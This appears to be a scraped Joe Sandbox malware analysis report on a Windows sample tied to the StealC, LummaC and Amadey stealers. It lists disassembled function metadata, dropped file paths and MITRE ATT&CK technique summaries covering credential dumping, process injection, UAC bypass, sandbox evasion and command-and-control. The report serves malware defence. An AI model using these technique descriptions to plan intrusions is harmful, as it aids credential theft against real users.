Part of subcall function 6CBE1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBE0936,00000001), ref: 6CBE1167

Strings

clock, xrefs: 6CBE0F20

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 4da17e3c687bddb82a4c9aa309d017c2b7da1155f437d09fdfb803ced597d1a1
Instruction ID: 235960a939becea54e0113fb66f5c9295479f094222fff26b2697e2aaca824be
Opcode Fuzzy Hash: 4da17e3c687bddb82a4c9aa309d017c2b7da1155f437d09fdfb803ced597d1a1
Instruction Fuzzy Hash: D0D0223120018422E200235BDC44B9FB2BCCBC7AFEF240826E20841E128B2880DED2B6

Function 6CC50DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CC50DF5
TlsGetValue.KERNEL32 ref: 6CC50E2D
TlsGetValue.KERNEL32 ref: 6CC50E58
TlsGetValue.KERNEL32 ref: 6CC50E84

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 07beb6ce9d0fd0e7da85e2e5b03d1e27cc06c5d6b5d06b46c0d05ff9dd30a3a0
Instruction ID: f807877e55f34c6a8376a1947daed0ea489fe5a6b93bfeb04be5b7f04b03a7a1
Opcode Fuzzy Hash: 07beb6ce9d0fd0e7da85e2e5b03d1e27cc06c5d6b5d06b46c0d05ff9dd30a3a0
Instruction Fuzzy Hash: F531A0707457808BEB106F7DC58526977B8BF4A34CFA1462DD9C8C7A11EBB084B9CA86

Function 6CC50F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CBF2AF5,?,?,?,?,?,6CBF0A1B,00000000), ref: 6CC50F1A
malloc.MOZGLUE(00000001), ref: 6CC50F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC50F42
TlsGetValue.KERNEL32 ref: 6CC50F5B

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 20a9635cb75b2f6dc2a6b2965037a7cc578dde06ef8a002f279f9d9fcc6807c9
Instruction ID: f4263eceddf06f892e79eb767998d8f31c7c046ed4f13c05c2ac8634dd20bdda
Opcode Fuzzy Hash: 20a9635cb75b2f6dc2a6b2965037a7cc578dde06ef8a002f279f9d9fcc6807c9
Instruction Fuzzy Hash: 8F01D8B1F002805BF7102F7E9D445667AACEF9669DB410635ED48C2A21FB32C47986E6

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFHDHCAAKECFIDHIEBAKFCGCFC

C:\ProgramData\BKJKJEHJJDAKECBFCGID

C:\ProgramData\EBFHJEGDAFHIJKECFBKJJKJJDH

C:\ProgramData\ECGDBAEH

C:\ProgramData\FCFBGIDAEHCFIDGCBGII

C:\ProgramData\IJECBGIJ

C:\ProgramData\KFIDAFBFBKFHJJKEHIEG

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre